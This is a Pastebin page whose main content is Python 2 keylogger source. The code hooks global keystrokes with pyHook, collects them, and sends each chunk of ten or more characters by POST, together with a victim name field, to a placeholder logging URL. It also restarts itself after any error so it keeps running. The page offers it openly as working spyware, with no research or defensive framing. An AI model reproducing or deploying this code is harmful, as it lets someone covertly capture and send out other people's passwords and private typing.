Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import pythoncom, pyHook
- import threading
- import os
- import requests
- chars = ""
- name = ""
- def OnKeyboardEvent(event):
- try:
- global chars
- print "ascii value: " + str(event.Ascii)
- #Check for backspace
- char = ""
- if event.Ascii == 8:
- print "Backspace was pressed"
- char = ""
- chars = chars[:-1]
- elif event.Ascii == 13:
- char = "\n"
- else:
- if event.Ascii != 0:
- char = chr(event.Ascii)
- print char
- chars += char
- print "msg: " + chars
- # do POST
- if len(chars) > 10:
- t = threading.Thread(target=post_thread,args=(chars,))
- t.start()
- chars = ""
- except:
- print "Error, skipping this char"
- return True
- def post_thread(msg):
- try:
- print "Post request"
- client = requests.session(config={'verbose': sys.stderr})
- URL = 'your_base_url.com/log/'
- global name
- data = dict(name=name,msg=msg)
- r = client.post(URL, data=data)
- except:
- print "Eror sending post request"
- def main():
- try:
- while True:
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- except:
- main()
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement